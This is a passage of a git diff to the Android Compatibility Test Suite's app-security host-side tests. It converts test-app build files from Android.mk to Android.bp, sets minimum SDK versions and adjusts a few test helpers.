+        final IntentFilter filter = new IntentFilter("com.android.cts.norestart.BROADCAST");
+        getContext().registerReceiver(r, filter, Context.RECEIVER_VISIBLE_TO_INSTANT_APPS);
+        final Intent i = createLaunchIntent();
         getContext().startActivity(i);
         assertTrue(cv.block(2000L));
+        getContext().unregisterReceiver(r);
     }
 
     public void testFeatureApi() throws Exception {
@@ -347,7 +376,8 @@
         assertEquals(false, r.getBoolean(R.bool.my_receiver_enabled));
 
         // And that we can access resources from feature
-        assertEquals(321, r.getInteger(r.getIdentifier("feature_integer", "integer", PKG)));
+        assertEquals(321, r.getInteger(r.getIdentifier(
+                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
new file mode 100644
index 0000000..9d1a5bd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
@@ -0,0 +1,44 @@
+java_library {
+    name: "CtsStorageAppLib",
+    srcs: ["src/**/*.java"],
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    libs: [
+        "android.test.base.stubs",
+        "ub-uiautomator",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsStorageAppA",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "AndroidManifestA.xml",
+}
+
+android_test_helper_app {
+    name: "CtsStorageAppB",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "AndroidManifestB.xml",
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
deleted file mode 100644
index f2b7117..0000000
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
-
-LOCAL_PACKAGE_NAME := CtsStorageAppA
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
deleted file mode 100644
index 76bfce6..0000000
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
-
-LOCAL_PACKAGE_NAME := CtsStorageAppB
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
new file mode 100644
index 0000000..8414a8d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsStorageStatsApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+        "ub-uiautomator",
+        "CtsStorageAppLib",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
deleted file mode 100644
index 2e9f00e..0000000
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-	$(call all-java-files-under, ../StorageApp/src)
-
-LOCAL_PACKAGE_NAME := CtsStorageStatsApp
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
new file mode 100644
index 0000000..42f7d09
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsTargetInstrumentationApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with different cert than CtsInstrumentationAppDiffCert
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
deleted file mode 100644
index 49bb31a..0000000
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsTargetInstrumentationApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with different cert than CtsInstrumentationAppDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/AndroidManifest.xml
index 8b15f1f..0410e1a 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/AndroidManifest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.targetinstrumentationapp">
+       package="com.android.cts.targetinstrumentationapp"
+       android:targetSandboxVersion="2">
 
     <!--
     A simple app used to test that instrumentation cannot target an app signed with a different
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index f7386a3..b4f7c97 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -43,4 +43,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
+LOCAL_MIN_SDK_VERSION := 22
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 7380ad1..0ddaec0 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -41,4 +41,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
+LOCAL_MIN_SDK_VERSION := 23
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index d6b39fd..a54b9b5 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -373,7 +373,7 @@
         AccessibilityNodeInfo permItemView = findCollectionItem(permLabelView);
         Assert.assertNotNull("Permissions item should be present", permItemView);
 
-        click(permItemView, true);
+        click(permItemView);
 
         waitForIdle();
 
@@ -395,9 +395,9 @@
                 // Toggle the permission
 
                 if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
-                    click(toggleView, false);
+                    click(toggleView);
                 } else {
-                    click(itemView, false);
+                    click(itemView);
                 }
 
                 waitForIdle();
@@ -544,14 +544,13 @@
         waitForIdle();
     }
 
-    private static void click(AccessibilityNodeInfo node, boolean awaitWindowsChanged) throws Exception {
-            getInstrumentation().getUiAutomation().executeAndWaitForEvent(
-                    () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
-                    (AccessibilityEvent event) ->
-                        event.getEventType() ==
-                            (awaitWindowsChanged ? AccessibilityEvent.TYPE_WINDOWS_CHANGED
-                            : AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED)
-                    , GLOBAL_TIMEOUT_MILLIS);
+    private static void click(AccessibilityNodeInfo node) throws Exception {
+        getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+                () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
+                (AccessibilityEvent event) -> event.getEventType()
+                        == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                        || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
+                GLOBAL_TIMEOUT_MILLIS);
     }
 
     private static AccessibilityNodeInfo findCollectionItem(AccessibilityNodeInfo current)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
index 94d3c0a..b353f53 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
@@ -42,4 +42,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
+LOCAL_MIN_SDK_VERSION := 25
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
index 0796d45..183cd93 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
@@ -32,6 +32,7 @@
 
 LOCAL_PACKAGE_NAME := CtsUsePermissionApp26
 LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_MIN_SDK_VERSION := 26
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
new file mode 100644
index 0000000..b11c4cc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsUsePermissionDiffCert",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    sdk_version: "current",
+    static_libs: [
+        "CtsPermissionDeclareUtilLib",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsPermissionDeclareApp
+    certificate: ":cts-testkey2",
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
deleted file mode 100644
index 9233605..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsPermissionDeclareApp
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
deleted file mode 100644
index f3d3d31..0000000
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
-
-LOCAL_PACKAGE_NAME := CtsUsesLibraryApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
deleted file mode 100644
index b9dc639..0000000
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.useslibrary;
-
-import android.content.pm.PackageManager;
-import android.os.Environment;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
-import android.test.InstrumentationTestCase;
-
-import dalvik.system.BaseDexClassLoader;
-import dalvik.system.DexFile;
-import dalvik.system.PathClassLoader;
-
-import java.io.File;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-
-public class UsesLibraryTest extends InstrumentationTestCase {
-    private static final String TAG = "UsesLibraryTest";
-
-    /**
-     * Verify that the test apk is backed by an oat file in the presence of shared libraries.
-     *
-     * This essentially verifies that dex2oat was not disabled and that hopefully
-     * the shared library check did something and was successful.
-     * Note that we cannot verify the shared library oat files (if WITH_DEXPREOPT=false
-     * we do not preopt the shared libraries).
-     */
-    public void testUsesLibrary() throws Exception {
-        ClassLoader loader = getClass().getClassLoader();
-        if (loader instanceof BaseDexClassLoader) {
-            DexFile apkDexFile = getTestDexFile((BaseDexClassLoader) loader);
-            assertTrue(isDexFileBackedByOatFile(apkDexFile));
-        }
-    }
-
-    /**
-     * Verify that the test apk is backed by an oat file when the shared libraries are missing
-     * from the class path.
-     */
-    public void testMissingLibrary() throws Exception {
-        ClassLoader loader = getClass().getClassLoader();
-        if (loader instanceof BaseDexClassLoader) {
-            DexFile apkDexFile = getTestDexFile((BaseDexClassLoader) loader);
-
-            PathClassLoader testLoader = new PathClassLoader(apkDexFile.getName(), null);
-            Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
-            assertTrue(testDexElements != null && testDexElements.length == 1);
-
-            DexFile testDexFile = getDexFileFromDexElement(testDexElements[0]);
-            assertTrue(isDexFileBackedByOatFile(testDexFile));
-        }
-    }
-
-    /**
-     * Verify that we punt to run from apk if the classpath generates a class collision failure.
-     */
-    public void testDuplicateLibrary() throws Exception {
-        ClassLoader loader = getClass().getClassLoader();
-        if (loader instanceof BaseDexClassLoader) {
-            Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
-            assertTrue(dexElements != null && dexElements.length > 1);
-
-            // First dex file is either the shared library or the cts instrumentation library.
-            DexFile libDexFile = getDexFileFromDexElement(dexElements[0]);
-            String libPath = libDexFile.getName();
-            // The last dex file should be the test apk file: com.android.cts.useslibrary.
-            DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
-            String apkPath = apkDexFile.getName();
-
-            // In order to ensure the collision check is executed we use the apkDexFile when
-            // constructing the test class path for duplicates.
-            // We do not use the shared libraries apks because they are compiled with a special
-            // marker which may skip the collision check (b/37777332).
-            String testPath = libPath + File.pathSeparator + apkPath + File.pathSeparator + apkPath;
-
-            PathClassLoader testLoader = new PathClassLoader(testPath, null);
-            Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
-            assertTrue(testDexElements != null && testDexElements.length == 3);
-
-            DexFile testDexFile = getDexFileFromDexElement(testDexElements[2]);
-            assertFalse(isDexFileBackedByOatFile(testDexFile));
-        }
-    }
-
-    private Object[] getDexElementsFromClassLoader(BaseDexClassLoader loader) throws Exception {
-        Field pathListField = BaseDexClassLoader.class.getDeclaredField("pathList");
-        pathListField.setAccessible(true);
-        // This is a DexPathList, but that class is package private.
-        Object pathList = pathListField.get(loader);
-        Field dexElementsField = pathList.getClass().getDeclaredField("dexElements");
-        dexElementsField.setAccessible(true);
-        // The objects in this array are Elements, but that class is package private.
-        return (Object[]) dexElementsField.get(pathList);
-    }
-
-    // The argument must be a DexPathList.Element.
-    private DexFile getDexFileFromDexElement(Object dexElement) throws Exception {
-        Field dexFileField = dexElement.getClass().getDeclaredField("dexFile");
-        dexFileField.setAccessible(true);
-        return (DexFile) dexFileField.get(dexElement);
-    }
-
-    private DexFile getTestDexFile(BaseDexClassLoader loader) throws Exception {
-        Object[] dexElements = getDexElementsFromClassLoader(loader);
-        assertTrue(dexElements != null && dexElements.length > 0);
-        // First dex files are shared libraries and the cts instrumentation library.
-        // The last dex file should be the test apk file: com.android.cts.useslibrary.
-        return getDexFileFromDexElement(dexElements[dexElements.length - 1]);
-    }
-
-    private boolean isDexFileBackedByOatFile(DexFile dexFile) throws Exception {
-        Method isBackedByOatFileMethod = DexFile.class.getDeclaredMethod("isBackedByOatFile");
-        isBackedByOatFileMethod.setAccessible(true);
-        return (boolean) isBackedByOatFileMethod.invoke(dexFile);
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
new file mode 100644
index 0000000..f2e6872
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsV3SigningSchemeRotationTest",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    libs: ["android.test.base.stubs"],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
deleted file mode 100644
index 356f296..0000000
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-LOCAL_PACKAGE_NAME := CtsV3SigningSchemeRotationTest
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
new file mode 100644
index 0000000..660ab53
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsWriteExternalStorageApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "CtsWriteExternalStorageWriteGiftLib",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    exclude_srcs: ["src/com/android/cts/writeexternalstorageapp/WriteGiftTest.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
